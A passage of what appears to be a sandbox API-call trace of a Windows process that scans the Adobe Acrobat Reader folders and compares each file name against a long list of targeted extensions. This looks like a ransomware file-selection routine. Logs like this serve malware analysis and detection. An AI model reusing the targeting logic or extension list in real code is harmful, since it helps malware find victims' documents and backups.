lstrlenW (lpString=".ai5") returned 4 [0266.093] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.093] lstrlenW (lpString=".ai6") returned 4 [0266.093] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.093] lstrlenW (lpString=".ai7") returned 4 [0266.094] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".ai8") returned 4 [0266.094] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".anim") returned 5 [0266.094] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.094] lstrlenW (lpString=".arw") returned 4 [0266.094] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".as") returned 3 [0266.094] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.094] lstrlenW (lpString=".asa") returned 4 [0266.094] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".asc") returned 4 [0266.094] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".ascx") returned 5 [0266.094] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.094] lstrlenW (lpString=".asm") returned 4 [0266.094] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".asmx") returned 5 [0266.094] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.094] lstrlenW (lpString=".asp") returned 4 [0266.094] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".aspx") returned 5 [0266.094] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.094] lstrlenW (lpString=".asr") returned 4 [0266.094] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.094] lstrlenW (lpString=".asx") returned 4 [0266.095] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".avi") returned 4 [0266.095] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".avs") returned 4 [0266.095] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".backup") returned 7 [0266.095] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.095] lstrlenW (lpString=".bak") returned 4 [0266.095] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".bay") returned 4 [0266.095] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".bd") returned 3 [0266.095] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.095] lstrlenW (lpString=".bin") returned 4 [0266.095] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".bmp") returned 4 [0266.095] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".bz2") returned 4 [0266.095] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".c") returned 2 [0266.095] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.095] lstrlenW (lpString=".cdr") returned 4 [0266.095] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".cer") returned 4 [0266.095] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.095] lstrlenW (lpString=".cf") returned 3 [0266.096] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.096] lstrlenW (lpString=".cfc") returned 4 [0266.096] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".cfm") returned 4 [0266.096] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".cfml") returned 5 [0266.096] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.096] lstrlenW (lpString=".cfu") returned 4 [0266.096] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".chm") returned 4 [0266.096] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".cin") returned 4 [0266.096] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".class") returned 6 [0266.096] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.096] lstrlenW (lpString=".clx") returned 4 [0266.096] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".config") returned 7 [0266.096] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.096] lstrlenW (lpString=".cpp") returned 4 [0266.096] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".cr2") returned 4 [0266.096] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".crt") returned 4 [0266.096] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.096] lstrlenW (lpString=".crw") returned 4 [0266.097] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".cs") returned 3 [0266.097] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.097] lstrlenW (lpString=".css") returned 4 [0266.097] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".csv") returned 4 [0266.097] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".cub") returned 4 [0266.097] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".dae") returned 4 [0266.097] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".dat") returned 4 [0266.097] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".db") returned 3 [0266.097] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.097] lstrlenW (lpString=".dbf") returned 4 [0266.097] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".dbx") returned 4 [0266.097] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.097] lstrlenW (lpString=".dc3") returned 4 [0266.098] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".dcm") returned 4 [0266.098] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".dcr") returned 4 [0266.098] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".der") returned 4 [0266.098] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".dib") returned 4 [0266.098] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".dic") returned 4 [0266.098] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".dif") returned 4 [0266.098] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".divx") returned 5 [0266.098] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.098] lstrlenW (lpString=".djvu") returned 5 [0266.098] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.098] lstrlenW (lpString=".dng") returned 4 [0266.098] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".doc") returned 4 [0266.098] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.098] lstrlenW (lpString=".docm") returned 5 [0266.098] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.098] lstrlenW (lpString=".docx") returned 5 [0266.098] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.099] lstrlenW (lpString=".dot") returned 4 [0266.099] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dotm") returned 5 [0266.099] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.099] lstrlenW (lpString=".dotx") returned 5 [0266.099] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.099] lstrlenW (lpString=".dpx") returned 4 [0266.099] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dqy") returned 4 [0266.099] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dsn") returned 4 [0266.099] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dt") returned 3 [0266.099] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.099] lstrlenW (lpString=".dtd") returned 4 [0266.099] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dwg") returned 4 [0266.099] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.099] lstrlenW (lpString=".dwt") returned 4 [0266.099] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".dx") returned 3 [0266.100] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.100] lstrlenW (lpString=".dxf") returned 4 [0266.100] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".edml") returned 5 [0266.100] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.100] lstrlenW (lpString=".efd") returned 4 [0266.100] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".elf") returned 4 [0266.100] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".emf") returned 4 [0266.100] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".emz") returned 4 [0266.100] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.100] lstrlenW (lpString=".epf") returned 4 [0266.101] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.101] lstrlenW (lpString=".eps") returned 4 [0266.101] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.101] lstrlenW (lpString=".epsf") returned 5 [0266.101] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.101] lstrlenW (lpString=".epsp") returned 5 [0266.101] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.101] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.101] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0266.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.101] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0266.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.102] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0266.103] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.103] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.103] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.103] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0266.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.103] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0266.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0266.105] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.105] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.105] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.105] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0266.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.105] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0266.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.105] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0266.107] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.107] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.107] lstrlenW (lpString="ui-strings.js") returned 13 [0266.107] lstrlenW (lpString=".1cd") returned 4 [0266.107] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.107] lstrlenW (lpString=".3ds") returned 4 [0266.107] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.107] lstrlenW (lpString=".3fr") returned 4 [0266.107] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.107] lstrlenW (lpString=".3g2") returned 4 [0266.107] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.107] lstrlenW (lpString=".3gp") returned 4 [0266.108] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.108] lstrlenW (lpString=".7z") returned 3 [0266.108] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.108] lstrlenW (lpString=".accda") returned 6 [0266.108] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".accdb") returned 6 [0266.108] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".accdc") returned 6 [0266.108] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".accde") returned 6 [0266.108] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".accdt") returned 6 [0266.108] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".accdw") returned 6 [0266.108] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.108] lstrlenW (lpString=".adb") returned 4 [0266.108] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.108] lstrlenW (lpString=".adp") returned 4 [0266.108] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai") returned 3 [0266.109] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.109] lstrlenW (lpString=".ai3") returned 4 [0266.109] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai4") returned 4 [0266.109] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai5") returned 4 [0266.109] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai6") returned 4 [0266.109] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai7") returned 4 [0266.109] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".ai8") returned 4 [0266.109] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".anim") returned 5 [0266.109] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.109] lstrlenW (lpString=".arw") returned 4 [0266.109] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.109] lstrlenW (lpString=".as") returned 3 [0266.110] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.110] lstrlenW (lpString=".asa") returned 4 [0266.110] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".asc") returned 4 [0266.110] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".ascx") returned 5 [0266.110] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.110] lstrlenW (lpString=".asm") returned 4 [0266.110] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".asmx") returned 5 [0266.110] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.110] lstrlenW (lpString=".asp") returned 4 [0266.110] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".aspx") returned 5 [0266.110] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.110] lstrlenW (lpString=".asr") returned 4 [0266.110] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".asx") returned 4 [0266.110] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".avi") returned 4 [0266.110] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.110] lstrlenW (lpString=".avs") returned 4 [0266.110] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".backup") returned 7 [0266.111] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.111] lstrlenW (lpString=".bak") returned 4 [0266.111] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".bay") returned 4 [0266.111] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".bd") returned 3 [0266.111] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.111] lstrlenW (lpString=".bin") returned 4 [0266.111] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".bmp") returned 4 [0266.111] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".bz2") returned 4 [0266.111] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".c") returned 2 [0266.111] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.111] lstrlenW (lpString=".cdr") returned 4 [0266.111] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".cer") returned 4 [0266.111] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.111] lstrlenW (lpString=".cf") returned 3 [0266.111] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.112] lstrlenW (lpString=".cfc") returned 4 [0266.112] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".cfm") returned 4 [0266.112] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".cfml") returned 5 [0266.112] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.112] lstrlenW (lpString=".cfu") returned 4 [0266.112] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".chm") returned 4 [0266.112] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".cin") returned 4 [0266.112] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".class") returned 6 [0266.112] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.112] lstrlenW (lpString=".clx") returned 4 [0266.112] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".config") returned 7 [0266.112] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.112] lstrlenW (lpString=".cpp") returned 4 [0266.112] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".cr2") returned 4 [0266.112] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.112] lstrlenW (lpString=".crt") returned 4 [0266.112] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".crw") returned 4 [0266.113] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".cs") returned 3 [0266.113] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.113] lstrlenW (lpString=".css") returned 4 [0266.113] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.113] lstrlenW (lpString=".csv") returned 4 [0266.113] 